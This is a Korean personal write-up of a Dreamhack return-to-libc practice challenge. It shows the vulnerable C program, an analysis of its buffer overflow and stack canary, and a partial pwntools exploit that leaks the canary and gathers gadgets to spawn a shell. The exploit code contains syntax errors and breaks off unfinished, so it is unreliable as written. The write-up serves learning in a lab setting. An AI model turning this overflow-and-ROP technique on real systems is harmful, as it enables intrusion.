읽기 안내
Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.
환경

- 64bit
- canary ON
- NX ON
실습 코드
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("[1] Leak Canary\\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
분석
취약점 분석
buf의 크기는 0x30 그러나 각 read() 함수가 0x100만큼 입력을 받는다. 이 부분에서 BOF 취약점이 일어난다. 그러나 canary가 있기 때문에 우회하여야 한다.
카나리를 우회하기 위해선 카나리에 대한 정보가 필요하다.
- buf와 카나리 주소 offset
- 카나리와 rbp 주소 offset
쉘을 시작하기 위해서는 "/bin/sh" 문자열의 주소를 system() 함수의 인자로 넘겨줘야 한다. 실습 코드에 보면
binsh변수에 해당 문자열이 있으므로 이걸 사용하면 될 것 같다.
익스플로잇
필요 정보 수집
카나리 주소 확인


카나리의 주소는 스택구조 상 rbp-0x8에 위치하는 것을 확인할 수 있다.
buf 주소 확인
소스코드를 보면 read() 함수에서 buf의 주소를 두번째 인자로 쓰고 있다.
read() 함수 호출 직전 rsi 값을 확인하면 된다.

rbp-0x40 주소가 rax 레지스터에 들어가고, 다시 rax 값이 rsi 레지스터로 들어간다.
"/bin/sh" 문자열 찾기
"/bin/sh" 문자열은 디버거를 통해 찾을 수 있다. 해당 바이너리는 PIE가 걸려있지 않으므로 데이터 영역에 있는 코드의 주소는 변경되지 않는다.

binsh : 0x400874
익스플로잇 코드
p = remote("host3.dreamhack.games", port_num)
e = ELF('./rtl')
r = ROP('./rtl')
def slog(name, addr): return success(': '.join([name, hex(addr)]))
payload = b'A' * 57
p.recvuntil(b"Buf: ")
p.send(payload)
p.recvuntil(payload)
canary = u64(b"\\x00 + p.recvn(7))
slog("canary", canary)
system_plt = e.plt["system"]
slog("system", system_plt)
binsh = next(e.search(b"/bin/sh"))
slog("binsh", binsh)
pop_ret = r.find_gadget(["pop rdi"])[0]
ret = r.find_gadget(["ret"])[0]
slog("pop_ret", pop_ret)
slog("ret", ret)
payload = b"A" *56
payload += p64(canary)
payload += b'A' * 8
payload += p(64)
코드 설명
slog()함수로 주소를 보기 쉽게 하기위해 함수를 만들었다.- canary는 64bit 에서는 8바이트를 차지한다. 그러나 첫 바이트는
\\x00이기때문에 뒤 7바이트가 무작위 숫자다. 따라서 recvn() 함수를 이용해 7바이트를 수신한 것이다. - canary 변수를 선언하고 변수에 스택 카나리 값을 읽어와 정수로 변환한 값을 저장한다.
- rtl 바이너리 파일에서 system에 대한 plt 주소를 찾아낸다.
- rtl 바이너리 파일에서 "/bin/sh" 문자열이 담긴 주소를 찾아 binsh 변수에 저장한다.
- rtl 바이너리 파일에서 pop rdi 명령어가 포함된 가젯을 찾는다. 반환되는 값은 가젯의 주소를 포함하는 리스트다.
- ret 가젯은 함수에서 리턴할 때 사용되는 명령어로, 스택의 상위 값을 프로그램 카운터 레지스터로 옮긴다. 이를 통해 프로그램의 실행 흐름을 반환 주소가 가리키는 위치로 변경한다.
- 끝에 [0]을 붙이는 이유는 가젯 리스트에서 첫번째 항목을 선택한다는 말이다. 첫번째 항목이 가장 일반적이고 주로 사용되는 가젯의 주소이기 때문이다.
결과

작성 기록과 문제 출처
원문과 출처
풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.
원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.
이미지 원본 출처
다음 글